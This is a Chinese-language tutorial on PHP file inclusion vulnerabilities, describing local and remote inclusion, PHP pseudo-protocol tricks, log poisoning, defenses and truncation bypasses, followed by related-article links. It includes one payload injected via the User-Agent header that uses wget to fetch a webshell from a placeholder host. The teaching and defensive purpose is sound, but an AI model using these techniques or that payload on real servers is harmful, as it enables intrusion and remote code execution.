文件包含漏洞(file inclusion)
文件包含漏洞原理:(php)
是指当服务器开启allow_url_include选项的时候,通过php某些特性函数、如include()、include_once()、require()、require_once(),使用url动态的去包含文件,此时如果对包含的文件没有进行过滤,就可能导致任意文件读取和任意命令执行。
文件包含漏洞分为本地文件包含和远程文件包含
远程文件包含是因为allow_url_fopen=on开启,导致本地服务器可以包含远程服务器上的一个文件,如果对这个文件没有进行审查,可能会导致意想不到的结果
文件包含的利用方式:
1.包含上传文件:我们可以在上传的文件中写入脚本、在知道路径的情况下可以连接拿shell
2.使用一些php伪协议:(php://input、data、php://filter)
①php://input协议和data协议
php://input协议和data协议的使用前提是allow_url_include需要开启。
Ⅰ:php://input默认接收post传来的参数,我们可以使用input上传我们需要执行的语句(一句话,文件,命令)
我们可以使用hackbar插件对post进行构造
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
Ⅱ:data://协议、主要是使用文字和图片命令,直接在url中进行构造
文字命令和php://input中的一句话类似,图片命令主要是图片马
②php://filter:我们可以使用这个协议查看源码,不过源码是以base64加密传输过来的
3.包含日志文件:
我们在url中输入的信息一般都会保存到日志文件中,如果我们在url中输入脚本代码,那么这个脚本代码也会保存到日志文件中,如果此时我们知道这个脚本保存的日志文件的路径,那么我们可以直接连接执行。这个方法在凌晨的时候是最方便的,因为日志文件是一天一保存,凌晨时候,日志文件最少,我们利用起来更加方便。
4.包含/proc/self/environ文件
找到文件包含漏洞,尝试访问/proc/self/environ文件,访问成功的话,在user-agent头中添加脚本代码
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
防御方法:
1.在不必须的情况下,关闭allow_url_include选项
2.使用白名单和黑名单对可包含的文件进行限制
3.尽量不使用动态包含
4.在服务端和客户端都进行过滤
绕过方法:
1.00%进行截断,00%可以截断file变量后面的字符串
2.使用./构造超长字符串进行截断
3.使用../进行目录遍历
4.使用?进行截断,使用原理和%00相同
文件包含漏洞(file inclusion)的更多相关文章
- 文件包含漏洞File Inclusion
文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...
- php文件包含漏洞 file inclusion vulnerability
0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...
- Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)
1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...
- DVWA之文件包含(File inclusion)
daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数 include,require和include_once,r ...
- Pikachu-File Inclusion(文件包含漏洞)
File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...
- PHP文件包含漏洞剖析
一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...
- php文件包含漏洞(利用phpinfo)复现
利用docker复现该漏洞,访问http://192.168.80.156:8080/phpinfo.php,可以看到页面出现phpinfo页面 再访问http://192.168.80.156:8 ...
- 本地文件包含漏洞(LFI漏洞)
0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...
- python打造文件包含漏洞检测工具
0x00前言: 做Hack the box的题.感觉那个平台得开个VIp 不然得凉.一天只能重置一次...mmp 做的那题毒药是文件包含漏洞的题,涉及到了某个工具 看的不错就开发了一个. 0x01代码 ...
随机推荐
- Web概念
目录 Web概念概述 Web概念概述 JavaWeb 使用 Java 语言开发基于互联网的项目 软件架构 C / S:Client / Server 客户端 / 服务器端 在用户本地有一个客户端程序, ...
- Mysql数据库分页查询
为什么使用分页查询: 数据量比较大时,如果全部查询,展示刚给用户,数据量太大,用户难以接受.并且数据量大,查询慢.如果此时将大量的数据读取到java内存中,可能会存储崩溃. 分页查询的方式: 1.全部 ...
- 【HBase】通过Bulkload批量加载数据到Hbase表中
目录 需求 步骤 一.开发MapReduce 二.打成Jar包放到linux执行 三.有两种办法将HFile文件加载到HBase表中 开发代码 Hadoop命令运行 需求 将hdfs上面的这个路径 / ...
- Day_08【面向对象】扩展案例3_使用多态的形式创建缉毒狗对象,调用缉毒方法和吼叫方法
分析以下需求,并用代码实现: 1.定义动物类: 行为: 吼叫:没有具体的吼叫行为 吃饭:没有具体的吃饭行为 2.定义缉毒接口 行为: 缉毒 3.定义缉毒狗:犬的一种 行为: 吼叫:汪汪叫 吃饭:狗啃骨 ...
- Linux内核驱动学习(四)Platform设备驱动模型
Linux platform设备驱动模型 文章目录 Linux platform设备驱动模型 前言 框架 设备与驱动的分离 设备(device) 驱动(driver) 匹配(match) 参考 前言 ...
- [LA7139 Rotation(2014 shanghai onsite)]二维树状数组
题意:有一个n*m的矩形,一辆车从左上角出发,沿一条路径走,路径是由矩形上每个单元格的边构成的,最后回到左上角,求车子在每个格子转过圈数的平方和. 思路:假设需要记录每个格子转的顺时针的圈数(为负表示 ...
- ASP.NET 开源导入导出库Magicodes.IE 完成Csv导入导出
Magicodes.IE Csv导入导出 说明 本章主要说明如何使用Magicodes.IE.Csv进行Csv导入导出. 主要步骤 1.安装包Magicodes.IE.Csv Install-Pack ...
- imos-累积和法
在解AOJ 0531 Paint Color时,学到了一个累积和的妙用--imos法,由于原文是日语,所以特意翻译过来.值得一提的是,作者Kentaro Imajo跟鄙人同龄,却已取得如此多的成就,而 ...
- 初识spring boot maven管理--HelloWorld
配置文件配置好 了之后可以进行第一个例子的编写了! @Controller @EnableAutoConfiguration() public class SampleController { pri ...
- Docker 镜像制作教程:针对不同语言的精简策略
本系列文章将分为三个部分: 第一部分着重介绍多阶段构建(multi-stage builds),因为这是镜像精简之路至关重要的一环.在这部分内容中,我会解释静态链接和动态链接的区别,它们对镜像带来的影 ...